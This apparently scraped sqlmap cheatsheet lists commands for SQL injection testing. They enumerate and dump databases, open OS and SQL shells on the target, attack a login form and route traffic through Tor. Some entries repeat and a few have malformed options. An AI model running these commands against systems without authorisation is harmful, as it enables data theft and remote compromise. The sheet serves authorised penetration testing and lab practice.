CYBERWARZONE SQLMAP CHEATSHEET
https://cyberwarzone.com/sqlmap-tutorial/

Enumerate databases
```
sqlmap --dbms=mysql -u "$URL" --dbs
```

Enumerate tables
```
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --tables
```

Dump table data
```
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" -T "$TABLE" --dump
```

Specify parameter to exploit
```
sqlmap --dbms=mysql -u
"http://[your_website.com]/param1=value1&param2=value2" --dbs -p param2
```

Specify parameter to exploit in 'nice' URIs
```
sqlmap --dbms=mysql -u
"http://[your_website.com]/param1/value1*/param2/value2" --dbs exploits
param1
```

Get OS shell
```
sqlmap --dbms=mysql -u "$URL" --os-shell
```

Get SQL shell
```
sqlmap --dbms=mysql -u "$URL" --sql-shell
```

SQL query
```
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --sql-query "SELECT * FROM
$TABLE;"
```

Use Tor Socks5 proxy
```
sqlmap --tor --tor-type=SOCKS5 --check-tor --dbms=mysql -u "$URL" --dbs
```

```
Optional param
--batch Use default config, make the injection process run automatically,
without user input.
--threads 5
-r uses the intercepted request you saved earlier like burp save the item
```

Run Save item from Burp
```
sqlmap -r save.item
```

Enumerate databases
```
sqlmap --dbms=mysql -u "$URL" --dbs optional param --forms
```

Enumerate tables
```
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --tables
```

Dump table
```
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" -T "$TABLE" --dump
```

Dump column
```
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" -T "$TABLE" -C "$COLUMN" --dump
```

List columns
```
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" -T "$TABLE" --columns
```

Specify parameter to exploit
```
sqlmap --dbms=mysql -u
"http://[your_website.com]/param1=value1&param2=value2" --dbs -p param2
```

Specify parameter to exploit in URIs
```
sqlmap --dbms=mysql -u
"http://[your_website.com]/param1/value1*/param2/value2" --dbs exploits
param1
```

Specify URIs
```
sqlmap -u "http://[your_website.com]/" --data='param1=blah&param2=blah'
--cookie='JSESSIONID=[SESSION_ID]' --level=5 --risk=3 -p param1
```

POST
```
sqlmap -u http://10.10.10.73/login.php --dbms=MySQL --method=POST
--data="username=x&password=y" --random-agent --risk=3 --level=5 -p username
--text-only --string "Wrong identification : admin"

--text-only is optional
```

Get OS shell
```
sqlmap --dbms=mysql -u "$URL" --os-shell
```

Get SQL shell
```
sqlmap --dbms=mysql -u "$URL" --sql-shell
```

SQL query
```
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --sql-query "SELECT * FROM
$TABLE;"
```

Use Tor Socks5 proxy
```
sqlmap --tor --tor-type=SOCKS5 --check-tor --dbms=mysql -u "$URL" --dbs
```

Basic authen & NTLM
```
sqlmap -u "http://[your_website.com]/" -s-data=param1=value1&param2=value2 -p
param1 --auth-type=[basic/ntlm] --auth-cred=username:password
```

Proxy
```
sqlmap -u "http://[your_website.com]/" --proxy=http://proxy_address:port
```